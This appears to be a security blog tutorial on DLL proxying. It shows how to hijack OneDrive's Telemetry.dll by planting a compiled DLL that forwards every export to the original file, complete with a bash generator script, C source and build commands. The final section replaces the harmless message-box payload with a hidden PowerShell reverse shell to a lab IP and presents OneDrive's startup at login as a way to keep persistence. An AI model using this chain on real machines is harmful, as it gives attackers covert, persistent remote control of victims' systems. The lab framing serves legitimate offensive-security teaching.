DLL Proxying example with OneDrive

A few months ago IppSec uploaded a video about DLL Hijacking where as one of the examples he hijacks cscapi.dll used by OneDrive. It’s a great video and I’d suggest you to watch it if you are new to the topic but it does not show how to proxy all functions and data from our dll to a legitimate one. This is necessary if you hijack a dll that is not only loaded but is also actually used by an app.

In this post we will walk through an example of creating a dll that proxies data and functions using forwarders so the app won’t crash whenever it tries to use anything exported by the original dll. I will use a kali linux vm and a windows 10 (MSEdge Developer) vm with VS C++ command-line toolset installed and Windows Defender disabled using Group Policy.

NOTE: When it comes to proxying, there’s a nice post about it by itm4n that also explains how this can be used for privilege escalation. However, it does not show the compilation process and if you want to see how to compile your dll with VS C++ command-line toolset (an installer here) to avoid running resource-heavy Visual Studio then stick around :).

Finding a dll we can hijack

First, let’s run procmon and set the filter so we can find some locations from which OneDrive attempts to load dlls without success:

Process Name     is            OneDrive.exe
Result           is            NAME NOT FOUND
Path             ends with     .dll

procmon filters


When we restart OneDrive, we will see that one of the dlls it wants to load is Telemetry.dll and the path that fails is C:\Users\IEUser\AppData\Local\Microsoft\OneDrive\Telemetry.dll

procmon Telemetry.dll


Now, let’s find a path from which Telemetry.dll is actually loaded with the following filter:

procmon Telemetry.dll filters


After applying it, we’ll see that C:\Users\IEUser\AppData\Local\Microsoft\OneDrive\22.191.0911.0001\Telemetry.dll is being used.

procmon Telemetry.dll found

Using sysinternals sigcheck utility we can see that it is a 64-bit dll.

C:\Tools>sigcheck64.exe C:\Users\IEUser\AppData\Local\Microsoft\OneDrive\22.191.0911.0001\Telemetry.dll

Sigcheck v2.90 - File version and signature viewer
Copyright (C) 2004-2022 Mark Russinovich
Sysinternals - www.sysinternals.com

c:\users\ieuser\appdata\local\microsoft\onedrive\22.191.0911.0001\Telemetry.dll:
        Verified:       Signed
        Signing date:   11:43 PM 9/11/2022
        Publisher:      Microsoft Corporation
        Company:        Microsoft Corporation
        Description:    Telemetry Library
        Product:        Microsoft OneDrive
        Prod version:   22.191.0911.0001
        File version:   22.191.0911.0001
        MachineType:    64-bit

What happens when we use any dll as Telemetry.dll

Just for testing purposes let’s see what happens if we use any dll to hijack Telemetry.dll. We will save the following C code as dll.c:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include <windows.h>
#pragma comment(lib, "user32") // for MessageBoxA

DWORD WINAPI ThreadFunc(void* data) {
    MessageBoxA(NULL, "Hi from a malicious dll", "Hi from a malicious dll", 0);
    return 0;
}

BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved) {
    switch(dwReason){
        case DLL_PROCESS_ATTACH:
            CloseHandle(CreateThread(NULL, 0, ThreadFunc, NULL, 0, NULL));
            break;
        case DLL_PROCESS_DETACH:
            break;
        case DLL_THREAD_ATTACH:
            break;
        case DLL_THREAD_DETACH:
            break;
    }
    return TRUE;
}

This dll will create a thread and show a message box upon being loaded. We will run x64 Native Tools Command Prompt for VS 2022 and compile our code into C:\...\OneDrive\Telemetry.dll.

c:\Users\IEUser\dllp>cl dll.c /link /dll /out:C:\Users\IEUser\AppData\Local\Microsoft\OneDrive\Telemetry.dll
Microsoft (R) C/C++ Optimizing Compiler Version 19.33.31630 for x64
Copyright (C) Microsoft Corporation.  All rights reserved.

dll.c
Microsoft (R) Incremental Linker Version 14.33.31630.0
Copyright (C) Microsoft Corporation.  All rights reserved.

/out:dll.exe
/dll
/out:C:\Users\IEUser\AppData\Local\Microsoft\OneDrive\Telemetry.dll
dll.obj

After that, when we try to restart OneDrive it will crash until we remove our dll.

c:\Users\IEUser\dllp>taskkill /IM "OneDrive.exe" /F
SUCCESS: The process "OneDrive.exe" with PID 4168 has been terminated.

c:\Users\IEUser\dllp>C:\Users\IEUser\AppData\Local\Microsoft\OneDrive\OneDrive.exe

c:\Users\IEUser\dllp>tasklist | findstr OneDrive

c:\Users\IEUser\dllp>del C:\Users\IEUser\AppData\Local\Microsoft\OneDrive\Telemetry.dll

c:\Users\IEUser\dllp>C:\Users\IEUser\AppData\Local\Microsoft\OneDrive\OneDrive.exe

c:\Users\IEUser\dllp>tasklist | findstr OneDrive
OneDrive.exe                  4864 RDP-Tcp#1                  2    126,888 K

Proxying calls into the original Telemetry.dll

Let’s transfer Telemetry.dll to a linux box and take a look at it. What we have to do now is to get a list of all exports of the original Telemetry.dll so our dll handles all of them. We can get this list using pefile.

$ python -m pefile exports Telemetry.dll
0x180010790 b'??0AddMountedFolderScenario@QoS@@QEAA@XZ' 1
0x180010910 b'??0AutoMountScenario@QoS@@QEAA@XZ' 2
0x18000f6f0 b'??0CheckQuotaInfoScenario@@QEAA@XZ' 3
0x180010850 b'??0ConnectMountedFolderScenario@QoS@@QEAA@XZ' 4
0x1800194a0 b'??0DownloadScenario@@QEAA@AEBV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@W4DownloadType@@@Z' 5
0x18000fd80 b'??0KFMMigrationScenario@@QEAA@XZ' 6
0x18000fe40 b'??0KFMRestoreScenario@@QEAA@XZ' 7
0x18000fc40 b'??0KFMUXScenario@@QEAA@XZ' 8
0x18000fbc0 b'??0KFMUploadScenario@@QEAA@XZ' 9
0x18000fcc0 b'??0KFMUserInitiatedScanScenario@@QEAA@XZ' 10
0x1800089f0 b'??0QosSyncWrapperConfig@QoS@@QEAA@I_N00PEB_W11@Z' 11
... and a lot more ...

And for each of those symbols we would like to proxy them to a copy of the original Telemetry.dll named, say, TelemetryOrig.dll. We can do this using the /EXPORT MSVC linker option. For example to proxy FooFunction we would use something like:

/export:FooFunction=TelemetryOrig.FooFunction

We could pass this option on the command line while compiling, but we can also add the following comment directive to our C code:

#pragma comment(linker "/export:FooFunction=TelemetryOrig.FooFunction")

Now, let’s write a bash script that will read Telemetry.dll exports and generate the code with a list of comment directives for each export:

make_pragmas.sh
#!/bin/bash

DLL_NAME="TelemetryOrig"
DLL_FILE="Telemetry.dll"

echo '#include <windows.h>'
echo '#pragma comment(lib, "user32") // for MessageBoxA'
echo ''

(IFS='
'
for line in $(python -m pefile exports $DLL_FILE); do
  expname=$(echo $line | cut -f2 -d' ' | sed "s/^b'//" | sed "s/'$//")
  echo "#pragma comment(linker, \"/export:$expname=$DLL_NAME.$expname\")" 
done)

echo '
DWORD WINAPI ThreadFunc(void* data) {
    MessageBoxA(NULL, "Hi from a malicious dll", "Hi from a malicious dll", 0);
    return 0;
}

BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved) {
    switch(dwReason){
        case DLL_PROCESS_ATTACH:
            CloseHandle(CreateThread(NULL, 0, ThreadFunc, NULL, 0, NULL));
            break;
        case DLL_PROCESS_DETACH:
            break;
        case DLL_THREAD_ATTACH:
            break;
        case DLL_THREAD_DETACH:
            break;
    }
    return TRUE;
}
'

Let’s try it:

$ chmod +x ./make_pragmas.sh
$ ./make_pragmas.sh > dll.c

It should generate a file that looks something like:

#include <windows.h>
#pragma comment(lib, "user32") // for MessageBoxA

#pragma comment(linker, "/export:??0AddMountedFolderScenario@QoS@@QEAA@XZ=TelemetryOrig.??0AddMountedFolderScenario@QoS@@QEAA@XZ")
#pragma comment(linker, "/export:??0AutoMountScenario@QoS@@QEAA@XZ=TelemetryOrig.??0AutoMountScenario@QoS@@QEAA@XZ")
#pragma comment(linker, "/export:??0CheckQuotaInfoScenario@@QEAA@XZ=TelemetryOrig.??0CheckQuotaInfoScenario@@QEAA@XZ")
#pragma comment(linker, "/export:??0ConnectMountedFolderScenario@QoS@@QEAA@XZ=TelemetryOrig.??0ConnectMountedFolderScenario@QoS@@QEAA@XZ")
#pragma comment(linker, "/export:??0DownloadScenario@@QEAA@AEBV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@W4DownloadType@@@Z=TelemetryOrig.??0DownloadScenario@@QEAA@AEBV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@W4DownloadType@@@Z")
// ...
#pragma comment(linker, "/export:?UploadScenarioInCurrentTraceReportSuccess@@YAXXZ=TelemetryOrig.?UploadScenarioInCurrentTraceReportSuccess@@YAXXZ")

DWORD WINAPI ThreadFunc(void* data) {
    MessageBoxA(NULL, "Hi from a malicious dll", "Hi from a malicious dll", 0);
    return 0;
}

BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved) {
    switch(dwReason){
        case DLL_PROCESS_ATTACH:
            CloseHandle(CreateThread(NULL, 0, ThreadFunc, NULL, 0, NULL));
            break;
        case DLL_PROCESS_DETACH:
            break;
        case DLL_THREAD_ATTACH:
            break;
        case DLL_THREAD_DETACH:
            break;
    }
    return TRUE;
}

Trying to hijack the dll again

Now, we will try to compile the generated code on a windows box and see if we will manage to run our simple popup ‘payload’ without crashing OneDrive. First, let’s make sure that OneDrive is not running.

c:\>taskkill /IM "OneDrive.exe" /F
SUCCESS: The process "OneDrive.exe" with PID 4864 has been terminated.

Then, let’s store the original Telemetry.dll as TelemetryOrig.dll in OneDrive’s directory.

c:\>copy C:\Users\IEUser\AppData\Local\Microsoft\OneDrive\22.191.0911.0001\Telemetry.dll C:\Users\IEUser\AppData\Local\Microsoft\OneDrive\TelemetryOrig.dll
        1 file(s) copied.

And finally we’ll compile our new code and start OneDrive.

c:\Users\IEUser\dllp>cl dll.c /link /dll /out:C:\Users\IEUser\AppData\Local\Microsoft\OneDrive\Telemetry.dll
Microsoft (R) C/C++ Optimizing Compiler Version 19.33.31630 for x64
Copyright (C) Microsoft Corporation.  All rights reserved.

dll.c
Microsoft (R) Incremental Linker Version 14.33.31630.0
Copyright (C) Microsoft Corporation.  All rights reserved.

/out:dll.exe
/dll
/out:C:\Users\IEUser\AppData\Local\Microsoft\OneDrive\Telemetry.dll
dll.obj
   Creating library C:\Users\IEUser\AppData\Local\Microsoft\OneDrive\Telemetry.lib and object C:\Users\IEUser\AppData\Local\Microsoft\OneDrive\Telemetry.exp

c:\Users\IEUser\dllp>C:\Users\IEUser\AppData\Local\Microsoft\OneDrive\OneDrive.exe

This time our MessageBox popup fired and OneDrive did not crash!

MessageBox fired

Trying a different payload

OneDrive starts when user logs in which makes it a good candidate for persistance. Let’s try to modify the ThreadFunc to give us a reverse shell on OneDrive startup.

I’ll run this popular powershell oneliner to get a connection on my linux box (ip: 192.168.10.103 port:443).

#include <windows.h>
#include <stdlib.h> // for the system(...) call
// ...
DWORD WINAPI ThreadFunc(void* data) {
    system("powershell -nop -WindowStyle hidden -c \"$client = New-Object System.Net.Sockets.TCPClient('192.168.10.103',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\"");
    return 0;
}
// ...

Next, I’ll recompile the dll and restart the box.

c:\Users\IEUser\dllp>taskkill /IM "OneDrive.exe" /F
SUCCESS: The process "OneDrive.exe" with PID 3232 has been terminated.

c:\Users\IEUser\dllp>cl dll.c /link /dll /out:C:\Users\IEUser\AppData\Local\Microsoft\OneDrive\Telemetry.dll
Microsoft (R) C/C++ Optimizing Compiler Version 19.33.31630 for x64
Copyright (C) Microsoft Corporation.  All rights reserved.
...

c:\Users\IEUser\dllp>shutdown /r /t 0

On my linux box I start a netcat lister on port 443 and log in to the windows box. After a while I get a connection.

Powershell rev shell

More Resources